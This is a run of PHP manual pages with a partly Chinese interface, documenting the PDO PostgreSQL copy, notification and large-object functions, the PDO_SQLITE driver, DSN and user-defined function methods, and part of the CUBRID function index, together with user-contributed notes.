table_name

String containing table name

filename

Filename containing data to import

delimiter

Delimiter used in file specified by filename

null_as

How to interpret null values

fields

List of fields to insert

返回值

Returns true on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Copy data from database table into PHP array

  • ? PDO::pgsqlCopyFromFile
  • PDO::pgsqlCopyToFile ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Copy data from database table into PHP array

PDO::pgsqlCopyToArray

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

PDO::pgsqlCopyToArray — Copy data from database table into PHP array

说明

public PDO::pgsqlCopyToArray(
string $table_name,
string $delimiter = "\t",
string $null_as = "\\\\N",
string $fields = ?
): array|false

Copies data from table into array using delimiter as fields delimiter and fields list

参数

table_name

String containing table name

delimiter

Delimiter used in rows

null_as

How to interpret null values

fields

List of fields to export

返回值

Returns an array of rows, 或者在失败时返回 false.

User Contributed Notes

Hayley Watson 06-Sep-2018 04:23
The "rows" returned are strings, (hence the delimiter parameters for separating fields). They're not parsed into PHP arrays, so this isn't a substitute for $connection->query('SELECT * FROM table_name')->fetchAll().

Only the first character of $delimiter is used. Characters that may be used are those <32 except "\r", "\n" and NUL (chr(0)); anything from !"#$%&'()*+,-./:;<=>?@ABCDEFGHIJKMOPQRSTVWXYZ[]^_`{|}~, and DEL (chr(127)) (yes, upper-case letters are allowed, but lower-case ones are not).

Also, the $fields argument is a comma-separated list of the desired columns.


Copy data from table into file

  • ? PDO::pgsqlCopyToArray
  • PDO::pgsqlGetNotify ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Copy data from table into file

PDO::pgsqlCopyToFile

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

PDO::pgsqlCopyToFile — Copy data from table into file

说明

public PDO::pgsqlCopyToFile(
string $table_name,
string $filename,
string $delimiter = "\t",
string $null_as = "\\\\N",
string $fields = ?
): bool

Copies data from table into file specified by filename using delimiter as fields delimiter and fields list

参数

table_name

String containing table name

filename

Filename to export data

delimiter

Delimiter used in file specified by filename

null_as

How to interpret null values

fields

List of fields to insert

返回值

Returns true on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Get asynchronous notification

  • ? PDO::pgsqlCopyToFile
  • PDO::pgsqlGetPid ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Get asynchronous notification

PDO::pgsqlGetNotify

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

PDO::pgsqlGetNotify — Get asynchronous notification

说明

public PDO::pgsqlGetNotify(int $result_type = PDO::FETCH_USE_DEFAULT, int $ms_timeout = 0): array|false

Returns a result set representing a pending asynchronous notification.

参数

result_type

The format the result set should be returned as, represented as a PDO::FETCH_* constant.

ms_timeout

The length of time to wait for a response, in milliseconds.

返回值

If one or more notifications is pending, returns a single row, with fields message and pid, otherwise returns false.

User Contributed Notes

There are no user contributed notes for this page.


Get the server PID

  • ? PDO::pgsqlGetNotify
  • PDO::pgsqlLOBCreate ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Get the server PID

PDO::pgsqlGetPid

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

PDO::pgsqlGetPid — Get the server PID

说明

public PDO::pgsqlGetPid(): int

Returns the server's PID.

参数

此函数没有参数。

返回值

The server's PID.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new large object

  • ? PDO::pgsqlGetPid
  • PDO::pgsqlLOBOpen ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Creates a new large object

PDO::pgsqlLOBCreate

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBCreate — Creates a new large object

说明

public PDO::pgsqlLOBCreate(): string

PDO::pgsqlLOBCreate() creates a large object and returns the OID of that object. You may then open a stream on the object using PDO::pgsqlLOBOpen() to read or write data to it. The OID can be stored in columns of type OID and be used to reference the large object, without causing the row to grow arbitrarily large. The large object will continue to live in the database until it is removed by calling PDO::pgsqlLOBUnlink().

Large objects can be up to 2GB in size, but are cumbersome to use; you need to ensure that PDO::pgsqlLOBUnlink() is called prior to deleting the last row that references its OID from your database. In addition, large objects have no access controls. As an alternative, try the bytea column type; recent versions of PostgreSQL allow bytea columns of up to 1GB in size and transparently manage the storage for optimal row size.

Note: This function must be called within a transaction.

参数

PDO::pgsqlLOBCreate() takes no parameters.

返回值

Returns the OID of the newly created large object on success, or false on failure.

示例

Example #1 A PDO::pgsqlLOBCreate() example

This example creates a new large object and copies the contents of a file into it. The OID is then stored into a table.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$oid = $db->pgsqlLOBCreate();
$stream = $db->pgsqlLOBOpen($oid, 'w');
$local = fopen($filename, 'rb');
stream_copy_to_stream($local, $stream);
$local = null;
$stream = null;
$stmt = $db->prepare("INSERT INTO BLOBS (ident, oid) VALUES (?, ?)");
$stmt->execute(array($some_id, $oid));
$db->commit();
?>

参见

  • PDO::pgsqlLOBOpen() - Opens an existing large object stream
  • PDO::pgsqlLOBUnlink() - Deletes the large object
  • pg_lo_create() - 新建大对象

User Contributed Notes

Hayley Watson 02-Aug-2018 09:52
If you're not plausibly going to be storing more than 1GB of binary data in a single field, you might as well use the normal bytea type instead of LOBbing it.

They won't bloat the table as PostgreSQL would store the larger byte streams outside the table anyway (as Large Object storage does, only transparently) - including compressing them if it helps - while retaining all the binary string functions and operators.
mauroi at digbang dot com 03-Apr-2006 09:38
IMHO, there's a better way to handle the deletion of lob objects than the suggested here. The programmer can easily forget to unlink the lob. With the following trigger, no programmer actions are required.
By the way, one problem with bytea fields is that when you query the database, if you ask for that field, the data is actually retrieved. When you query for and oid, only the oid is retrieved and then you can open the lob whenever you want (if it's required).

CREATE OR REPLACE FUNCTION oidtable_after_update_delete()
  RETURNS "trigger" AS
$BODY$
BEGIN
     IF (TG_OP = 'UPDATE') THEN
        IF (OLD.oidfield = NEW.oidfield) OR (OLD.oidfield IS NULL) THEN
           RETURN NEW;
        END IF;
     END IF;
     IF (EXISTS (SELECT 1 FROM pg_largeobject WHERE loid = OLD.oidfield)) THEN
        PERFORM LO_UNLINK (OLD.oidfield);
     END IF;
     RETURN NEW;
END;
$BODY$
  LANGUAGE 'plpgsql' VOLATILE;

CREATE TRIGGER oidtable_after_update_delete
  AFTER UPDATE OR DELETE
  ON oidtable
  FOR EACH ROW
  EXECUTE PROCEDURE oidtable_after_update_delete();


Opens an existing large object stream

  • ? PDO::pgsqlLOBCreate
  • PDO::pgsqlLOBUnlink ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Opens an existing large object stream

PDO::pgsqlLOBOpen

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBOpen — Opens an existing large object stream

说明

public PDO::pgsqlLOBOpen(string $oid, string $mode = "rb"): resource|false

PDO::pgsqlLOBOpen() opens a stream to access the data referenced by oid. If mode is r, the stream is opened for reading, if mode is w, then the stream will be opened for writing. You can use all the usual filesystem functions, such as fread(), fwrite() and fgets() to manipulate the contents of the stream.

Note: This function, and all manipulations of the large object, must be called and carried out within a transaction.

参数

oid

A large object identifier.

mode

If mode is r, open the stream for reading. If mode is w, open the stream for writing.

返回值

Returns a stream resource on success 或者在失败时返回 false.

示例

Example #1 A PDO::pgsqlLOBOpen() example

Following on from the PDO::pgsqlLOBCreate() example, this code snippet retrieves the large object from the database and outputs it to the browser.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("select oid from BLOBS where ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $oid, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $db->pgsqlLOBOpen($oid, 'r');
header("Content-type: application/octet-stream");
fpassthru($stream);
?>

参见

  • PDO::pgsqlLOBCreate() - Creates a new large object
  • PDO::pgsqlLOBUnlink() - Deletes the large object
  • pg_lo_open() - 打开大对象

User Contributed Notes

binaryexp at gmail 05-Mar-2009 04:54
This is what worked for me. If you have the oid, then all you need to do is:

<?php
$pdo = new PDO($dsn, $user, $pass);
$pdo->beginTransaction();
$data = $pdo->pgsqlLOBOpen($oid, 'r');

header("Content-Type: $mime");
// any other headers...

fpassthru($data);  // echo stream_get_contents($data); also works
?>

The beginTransaction() is required, if you want to $pdo->commit() (it's not required) then do it after the fpassthru.

On a side note, those using Zend Framework can call getConnection() on the standard PDO database object which will get them the $pdo object as above. Then just remember to disableLayout() and setNoRender() as necessary.
knl at bitflop dot com 25-Sep-2008 05:54
Also remember that fread() will only parse the first 8192 bytes from the stream. Use..

<?php
$data = stream_get_contents($stream);
?>

.. if you have a larger output to parse.
knl at bitflop dot com 25-Sep-2008 03:20
The above example is missing some data. After spending several hours trying to get it to work in vain, Jeff Davis from the PostgreSQL channel on IRC (freenode) figured out what was missing.

The below example will work, but you have to insert the MIME type and file size of the large object that you are storing, so you can use that data for extraction.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("SELECT oid, blob_type, filesize FROM BLOBS WHERE ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $lob, PDO::PARAM_LOB);
$stmt->bindColumn('blob_type', $blob_type, PDO::PARAM_STR);
$stmt->bindColumn('filesize', $filesize, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $pdo->pgsqlLOBOpen($lob, 'r');
$data = fread($stream, $filesize);
header("Content-type: $blob_type");
echo $data;
?>

Also fpassthru() will just give this result: Warning: fpassthru(): supplied argument is not a valid stream resource in ...

Use echo or print instead.


Deletes the large object

  • ? PDO::pgsqlLOBOpen
  • SQLite (PDO) ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Deletes the large object

PDO::pgsqlLOBUnlink

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBUnlink — Deletes the large object

说明

public PDO::pgsqlLOBUnlink(string $oid): bool

Deletes a large object from the database identified by OID.

Note: This function must be called within a transaction.

参数

oid

A large object identifier

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 A PDO::pgsqlLOBUnlink() example

This example unlinks a large object from the database prior to deleting the row that references it from the blobs table we've been using in our PDO::pgsqlLOBCreate() and PDO::pgsqlLOBOpen() examples.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$db->pgsqlLOBUnlink($oid);
$stmt = $db->prepare("DELETE FROM BLOBS where ident = ?");
$stmt->execute(array($some_id));
$db->commit();
?>

参见

  • PDO::pgsqlLOBOpen() - Opens an existing large object stream
  • PDO::pgsqlLOBCreate() - Creates a new large object

User Contributed Notes

There are no user contributed notes for this page.


SQLite Functions (PDO_SQLITE)

简介

PDO_SQLITE is a driver that implements the PHP Data Objects (PDO) interface to enable access to SQLite 3 databases.

Note:

PDO_SQLITE allows using strings apart from streams together with PDO::PARAM_LOB.

安装

The PDO_SQLITE PDO driver is enabled by default. To disable, --without-pdo-sqlite[=DIR] may be used, where the optional [=DIR] is the sqlite base install directory. As of PHP 7.4.0 » libsqlite ≥ 3.5.0 is required. Formerly, the bundled libsqlite could have been used instead, and was the default, if [=DIR] has been omitted.

Note: Additional setup on Windows as of PHP 7.4.0

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： libsqlite3.dll.

Table of Contents

  • PDO_SQLITE DSN — Connecting to SQLite databases
  • PDO::sqliteCreateAggregate — Registers an aggregating User Defined Function for use in SQL statements
  • PDO::sqliteCreateCollation — Registers a User Defined Function for use as a collating function in SQL statements
  • PDO::sqliteCreateFunction — Registers a User Defined Function for use in SQL statements

User Contributed Notes

ohcc at 163 dot com 04-Sep-2020 03:19
With PDO SQLite driver, calculation within an SQL with multiple ? may not get results as you expect.

<?php
// ....
$stmt = $PDO->prepare('SELECT * FROM `X` WHERE `TimeUpdated`+?>?');
$stmt->execute([3600, time()]);
$data = $stmt->fetchAll();
print_r($data);
?>

To get the right results, you have more than 3 solutions.

1. Change 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?' to 'SELECT * FROM `X` WHERE `TimeUpdated`>?' and do the math using Php (ie: $stmt->execute([time()-3600]); ).

2. Use PdoStatement::bindParam or PdoStatement::bindValue, and set the parameter type to PDO::PARAM_INT.

3. Change 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?' to 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?+0', here '?+0' may be replaced by another math function or another calculation, such as 'abs(?)', you can even wrap both ? with a math calculation.
nospam8715 at dririan dot com 10-Nov-2012 09:22
Instead of compiling an old version of SQLite to create a database using an older database format that the version of SQLite bundled with PDO can handle, you can (much more easily) just run the query "PRAGMA legacy_file_format = TRUE;" BEFORE creating the database (if you have an existing database, run ".dump" from the sqlite shell on your database, run the sqlite shell on a new database, run the PRAGMA, then paste the contents of the .dump). That will ensure SQLite creates a database readable by SQLite 3.0 and later.
Duffalo 06-Jul-2006 04:41
Note that as of the date of this post, PDO_SQLITE will not interact with database files created with the current version of the SQLite console application, sqlite-3.3.6.

It is currently necessary to obtain version 3.2.8, available from http://www.sqlite.org/ but only by entering the URI manually, as there is no link. Go to http://www.sqlite.org/download.html and find the URI of the version you're looking for, then make the appropriate version number substitution.
aidan at php dot net 01-Oct-2005 02:36
If you receive an error while trying to write to a sqlite database (update, delete, drop):

Warning: PDO::query() [function.query]: SQLSTATE[HY000]: General error: 1 unable to open database

The folder that houses the database file must be writeable.


Connecting to SQLite databases

  • ? SQLite (PDO)
  • PDO::sqliteCreateAggregate ?
  • PHP Manual
  • SQLite (PDO)
  • Connecting to SQLite databases

PDO_SQLITE DSN

(PHP 5 >= 5.1.0, PHP 7, PECL PDO_SQLITE >= 0.2.0)

PDO_SQLITE DSN — Connecting to SQLite databases

说明

The PDO_SQLITE Data Source Name (DSN) is composed of the following elements:

DSN prefix (SQLite 3)

The DSN prefix is sqlite:.

  • To access a database on disk, the absolute path has to be appended to the DSN prefix.

  • To create a database in memory, :memory: has to be appended to the DSN prefix.

  • If the DSN consists of the DSN prefix only, a temporary database is used, which is deleted when the connection is closed.

示例

Example #1 PDO_SQLITE DSN examples

The following examples show PDO_SQLITE DSN for connecting to SQLite databases:

sqlite:/opt/databases/mydb.sq3
sqlite::memory:
sqlite:

User Contributed Notes

casteele at g-m-a-i-l ( dot ) c-o-m 25-Feb-2016 10:32
Some notes that may or may not be obvious..

In general, when using an in-memory (:memory:) database from within a PHP script (such as code in an index.php file for a web server), the memory used for the database exists only as long as the PHP code is running. Usually, this is only as long as it takes to deliver output back to the web server trying to serve the web page to the client. There is no way (that I know of, please correct me if I'm wrong) to share an in-memory database across different web connections, including different multiple connections from the same client. *This does include "persistent" connections.* The reason for this is because in-memory databases *are* in-memory databases, and the memory allocated by the web server/PHP processor is allocated and released "on the fly". Otherwise, web servers which serve thousands of web pages would quickly consume all available memory (and swap space), and come to a grinding halt when the system no longer has available memory to handle more requests.

If you need to share data across sessions, connections, or scripts, you'll need to use a database file in a folder/directory which is *writable* by the web server/PHP extension, as SQLite3 may use some temporary files while working with the database. (In my Debian Linux installation, this is the "www-data" psuedo-user/group.) (You can consult the SQLite3 documentation if you wish to know what temporary files it uses; They are well-documented.)

In short, it is a _logical_error_ to think of in-memory databases as anything other than very short-term temporary databases. They may be useful if you only wish to work with a subset of a larger database within *a single web page, AND only while the PHP script is generating the web page*. That is, you cannot use in-memory databases to store a user's "shopping cart", for example, because a shopping cart would still need to load many different web pages, invoking many different PHP scripts, each with their own memory space. Likewise, once PHP has generated the output of the web page for the server to send on to the client, PHP is no longer "part of the picture", and any memory it had allocated may be freed for other uses--including your in-memory database.

This is not a limitation of the web server, PHP, or SQLite, but of how operating systems work in general to share limited resources (such as memory) between processes/users/connections/et cetera.
frederic dot glorieux at diple dot net 10-Aug-2011 03:20
In memory sqlite has some limitations. The memory space could be the request, the session, but no way seems documented to share a base in memory among users.

For a request, open your base with the code
$pdo = new PDO( 'sqlite::memory:');
and your base will disapear on next request.

For session persistency
<?php
$pdo = new PDO(
    'sqlite::memory:',
    null,
    null,
    array(PDO::ATTR_PERSISTENT => true)
);
?>
FST777 21-Apr-2008 05:27
@ Fatmoon
That is correct. SQLite sometimes uses additional files in the same folder while writing to the DB. These files can sometimes be seen and usually contain the name of your DB and the word 'journal' in their filename.
Security wise, it might be a good idea to store the SQLite databases in a seperate folder to shield the rest from user www.
Fatmoon 20-Apr-2008 07:42
It seems that the directory that contains your sqlite database must be writeable by the web server. Making just the file writeable won't work.
rick 30-Oct-2006 10:51
Don't forget "extension=php_pdo_sqlite.dll" has to be enabled in php.ini (if you use xampp is will be disabled by default) .


Registers an aggregating User Defined Function for use in SQL statements

  • ? PDO_SQLITE DSN
  • PDO::sqliteCreateCollation ?
  • PHP Manual
  • SQLite (PDO)
  • Registers an aggregating User Defined Function for use in SQL statements

PDO::sqliteCreateAggregate

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateAggregate — Registers an aggregating User Defined Function for use in SQL statements

说明

public PDO::sqliteCreateAggregate(
string $function_name,
callable $step_func,
callable $finalize_func,
int $num_args = ?
): bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

This method is similar to PDO::sqliteCreateFunction except that it registers functions that can be used to calculate a result aggregated across all the rows of a query.

The key difference between this method and PDO::sqliteCreateFunction is that two functions are required to manage the aggregate.

参数

function_name

The name of the function used in SQL statements.

step_func

Callback function called for each row of the result set. Your PHP function should accumulate the result and store it in the aggregation context.

This function need to be defined as:

step(
mixed $context,
int $rownumber,
mixed $value,
mixed ...$values
): mixed
context

null for the first row; on subsequent rows it will have the value that was previously returned from the step function; you should use this to maintain the aggregate state.

rownumber

The current row number.

value

The first argument passed to the aggregate.

values

Further arguments passed to the aggregate.

The return value of this function will be used as the context argument in the next call of the step or finalize functions.

finalize_func

Callback function to aggregate the "stepped" data from each row. Once all the rows have been processed, this function will be called and it should then take the data from the aggregation context and return the result. This callback function should return a type understood by SQLite (i.e. scalar type).

This function need to be defined as:

fini(mixed $context, int $rowcount): mixed
context

Holds the return value from the very last call to the step function.

rowcount

Holds the number of rows over which the aggregate was performed.

The return value of this function will be used as the return value for the aggregate.

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 max_length aggregation function example

<?php
$data = array(
'one',
'two',
'three',
'four',
'five',
'six',
'seven',
'eight',
'nine',
'ten',
);
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
$insert->execute(array($str));
}
$insert = null;

function max_len_step($context, $rownumber, $string)
{
if (strlen($string) > $context) {
$context = strlen($string);
}
return $context;
}

function max_len_finalize($context, $rowcount)
{
return $context === null ? 0 : $context;
}

$db->sqliteCreateAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->query('SELECT max_len(a) from strings')->fetchAll());

?>

In this example, we are creating an aggregating function that will calculate the length of the longest string in one of the columns of the table. For each row, the max_len_step function is called and passed a $context parameter. The context parameter is just like any other PHP variable and be set to hold an array or even an object value. In this example, we are simply using it to hold the maximum length we have seen so far; if the $string has a length longer than the current maximum, we update the context to hold this new maximum length.

After all of the rows have been processed, SQLite calls the max_len_finalize function to determine the aggregate result. Here, we could perform some kind of calculation based on the data found in the $context. In our simple example though, we have been calculating the result as the query progressed, so we simply need to return the context value.

Tip

It is NOT recommended for you to store a copy of the values in the context and then process them at the end, as you would cause SQLite to use a lot of memory to process the query - just think of how much memory you would need if a million rows were stored in memory, each containing a string 32 bytes in length.

Tip

You can use PDO::sqliteCreateFunction and PDO::sqliteCreateAggregate to override SQLite native SQL functions.

参见

  • PDO::sqliteCreateFunction
  • sqlite_create_function()
  • sqlite_create_aggregate()

User Contributed Notes

There are no user contributed notes for this page.


Registers a User Defined Function for use as a collating function in SQL statements

  • ? PDO::sqliteCreateAggregate
  • PDO::sqliteCreateFunction ?
  • PHP Manual
  • SQLite (PDO)
  • Registers a User Defined Function for use as a collating function in SQL statements

PDO::sqliteCreateCollation

(PHP 5 >= 5.3.11, PHP 7, PHP 8)

PDO::sqliteCreateCollation — Registers a User Defined Function for use as a collating function in SQL statements

说明

public PDO::sqliteCreateCollation(string $name, callable $callback): bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参数

name

Name of the SQL collating function to be created or redefined.

callback

The name of a PHP function or user-defined function to apply as a callback, defining the behavior of the collation. It should accept two strings and return as strcmp() does, i.e. it should return -1, 1, or 0 if the first string sorts before, sorts after, or is equal to the second.

This function need to be defined as:

collation(string $string1, string $string2): int

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 PDO::sqliteCreateCollation() example

<?php
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE test (col1 string)");
$db->exec("INSERT INTO test VALUES ('a1')");
$db->exec("INSERT INTO test VALUES ('a10')");
$db->exec("INSERT INTO test VALUES ('a2')");

$db->sqliteCreateCollation('NATURAL_CMP', 'strnatcmp');
foreach ($db->query("SELECT col1 FROM test ORDER BY col1") as $row) {
echo $row['col1'] . "\n";
}
echo "\n";
foreach ($db->query("SELECT col1 FROM test ORDER BY col1 COLLATE NATURAL_CMP") as $row) {
echo $row['col1'] . "\n";
}
?>

以上示例会输出：

a1
a10
a2

a1
a2
a10

User Contributed Notes

There are no user contributed notes for this page.


Registers a User Defined Function for use in SQL statements

  • ? PDO::sqliteCreateCollation
  • 针对各数据库系统对应的扩展 ?
  • PHP Manual
  • SQLite (PDO)
  • Registers a User Defined Function for use in SQL statements

PDO::sqliteCreateFunction

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateFunction — Registers a User Defined Function for use in SQL statements

说明

public PDO::sqliteCreateFunction(
string $function_name,
callable $callback,
int $num_args = -1,
int $flags = 0
): bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

This method allows you to register a PHP function with SQLite as an UDF (User Defined Function), so that it can be called from within your SQL statements.

The UDF can be used in any SQL statement that can call functions, such as SELECT and UPDATE statements and also in triggers.

参数

function_name

The name of the function used in SQL statements.

callback

Callback function to handle the defined SQL function.

Note: Callback functions should return a type understood by SQLite (i.e. scalar type).

This function need to be defined as:

callback(mixed $value, mixed ...$values): mixed
value

The first argument passed to the SQL function.

values

Further arguments passed to the SQL function.

num_args

The number of arguments that the SQL function takes. If this parameter is -1, then the SQL function may take any number of arguments.

flags

A bitwise conjunction of flags. Currently, only PDO::SQLITE_DETERMINISTIC is supported, which specifies that the function always returns the same result given the same inputs within a single SQL statement.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.1.4 | The flags parameter has been added.

示例

Example #1 PDO::sqliteCreateFunction() example

<?php
function md5_and_reverse($string)
{
return strrev(md5($string));
}

$db = new PDO('sqlite:sqlitedb');
$db->sqliteCreateFunction('md5rev', 'md5_and_reverse', 1);
$rows = $db->query('SELECT md5rev(filename) FROM files')->fetchAll();
?>

In this example, we have a function that calculates the md5 sum of a string, and then reverses it. When the SQL statement executes, it returns the value of the filename transformed by our function. The data returned in $rows contains the processed result.

The beauty of this technique is that you do not need to process the result using a foreach loop after you have queried for the data.

Tip

You can use PDO::sqliteCreateFunction and PDO::sqliteCreateAggregate to override SQLite native SQL functions.

参见

  • PDO::sqliteCreateAggregate
  • sqlite_create_function()
  • sqlite_create_aggregate()

User Contributed Notes

There are no user contributed notes for this page.


针对各数据库系统对应的扩展

  • CUBRID
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • CUBRID 函数
    • CUBRID MySQL 兼容性函数
    • CUBRID 过时的别名和函数
  • dBase
    • 简介
    • 安装/配置
    • 预定义常量
    • dBase 函数
  • Firebird/InterBase
    • 简介
    • 安装/配置
    • 预定义常量
    • Firebird/InterBase 函数
  • IBM DB2 — IBM DB2, Cloudscape and Apache Derby
    • 简介
    • 安装/配置
    • 预定义常量
    • IBM DB2 函数
  • MongoDB — MongoDB driver
    • 安装/配置
    • Tutorials
    • Driver Architecture and Internals — Explains the driver architecture, and special features
    • Security
    • MongoDB\Driver — MongoDB 驱动类
    • MongoDB\BSON — BSON type classes and serialization functions
    • MongoDB\Driver\Monitoring — Monitoring classes and subscriber functions
    • MongoDB\Driver\Exception — Exception 类
  • MySQL — MySQL Drivers and Plugins
    • Overview of the MySQL PHP drivers
    • MySQLi — MySQL增强版扩展
    • Mysql_xdevapi
    • Mysql（原始） — 原始的 MySQL API
    • Mysqlnd — MySQL Native Driver
  • OCI8 — Oracle OCI8
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • OCI8 Connection Handling and Connection Pooling
    • OCI8 Fast Application Notification (FAN) Support
    • OCI8 Transparent Application Failover (TAF) Support
    • OCI8 and DTrace Dynamic Tracing
    • Supported Datatypes
    • OCI8 函数
    • OCICollection — The OCICollection class
    • OCILob — The OCILob class
    • OCI8 Obsolete Aliases and Functions
  • PostgreSQL
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • PostgreSQL 函数
    • PgSql\Connection — The PgSql\Connection class
    • PgSql\Result — The PgSql\Result class
    • PgSql\Lob — The PgSql\Lob class
  • SQLite3
    • 简介
    • 安装/配置
    • 预定义常量
    • SQLite3 — SQLite3 类
    • SQLite3Stmt — SQLite3Stmt 类
    • SQLite3Result — SQLite3Result 类
  • SQLSRV — Microsoft SQL Server Driver for PHP
    • 简介
    • 安装/配置
    • 预定义常量
    • SQLSRV 函数

User Contributed Notes

There are no user contributed notes for this page.


CUBRID

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • CUBRID 函数
    • cubrid_bind — Bind variables to a prepared statement as parameters
    • cubrid_close_prepare — Close the request handle
    • cubrid_close_request — Close the request handle
    • cubrid_col_get — Get contents of collection type column using OID
    • cubrid_col_size — Get the number of elements in collection type column using OID
    • cubrid_column_names — Get the column names in result
    • cubrid_column_types — Get column types in result
    • cubrid_commit — Commit a transaction
    • cubrid_connect_with_url — Establish the environment for connecting to CUBRID server
    • cubrid_connect — Open a connection to a CUBRID Server
    • cubrid_current_oid — Get OID of the current cursor location
    • cubrid_disconnect — Close a database connection
    • cubrid_drop — Delete an instance using OID
    • cubrid_error_code_facility — Get the facility code of error
    • cubrid_error_code — Get error code for the most recent function call
    • cubrid_error_msg — Get last error message for the most recent function call
    • cubrid_execute — Execute a prepared SQL statement
    • cubrid_fetch — Fetch the next row from a result set
    • cubrid_free_result — Free the memory occupied by the result data
    • cubrid_get_autocommit — Get auto-commit mode of the connection
    • cubrid_get_charset — Return the current CUBRID connection charset
    • cubrid_get_class_name — Get the class name using OID
    • cubrid_get_client_info — Return the client library version
    • cubrid_get_db_parameter — Returns the CUBRID database parameters
    • cubrid_get_query_timeout — Get the query timeout value of the request
    • cubrid_get_server_info — Return the CUBRID server version
    • cubrid_get — Get a column using OID
    • cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column
    • cubrid_is_instance — Check whether the instance pointed by OID exists
    • cubrid_lob_close — Close BLOB/CLOB data
    • cubrid_lob_export — Export BLOB/CLOB data to file
    • cubrid_lob_get — Get BLOB/CLOB data
    • cubrid_lob_send — Read BLOB/CLOB data and send straight to browser
    • cubrid_lob_size — Get BLOB/CLOB data size
    • cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters
    • cubrid_lob2_close — Close LOB object
    • cubrid_lob2_export — Export the lob object to a file
    • cubrid_lob2_import — Import BLOB/CLOB data from a file
    • cubrid_lob2_new — Create a lob object
    • cubrid_lob2_read — Read from BLOB/CLOB data
    • cubrid_lob2_seek64 — Move the cursor of a lob object
    • cubrid_lob2_seek — Move the cursor of a lob object
    • cubrid_lob2_size64 — Get a lob object's size
    • cubrid_lob2_size — Get a lob object's size
    • cubrid_lob2_tell64 — Tell the cursor position of the LOB object
    • cubrid_lob2_tell — Tell the cursor position of the LOB object
    • cubrid_lob2_write — Write to a lob object
    • cubrid_lock_read — Set a read lock on the given OID
    • cubrid_lock_write — Set a write lock on the given OID
    • cubrid_move_cursor — Move the cursor in the result
    • cubrid_next_result — Get result of next query when executing multiple SQL statements
    • cubrid_num_cols — Return the number of columns in the result set
    • cubrid_num_rows — Get the number of rows in the result set
    • cubrid_pconnect_with_url — Open a persistent connection to CUBRID server
    • cubrid_pconnect — Open a persistent connection to a CUBRID server
    • cubrid_prepare — Prepare a SQL statement for execution
    • cubrid_put — Update a column using OID
    • cubrid_rollback — Roll back a transaction
    • cubrid_schema — Get the requested schema information
    • cubrid_seq_drop — Delete an element from sequence type column using OID
    • cubrid_seq_insert — Insert an element to a sequence type column using OID
    • cubrid_seq_put — Update the element value of sequence type column using OID
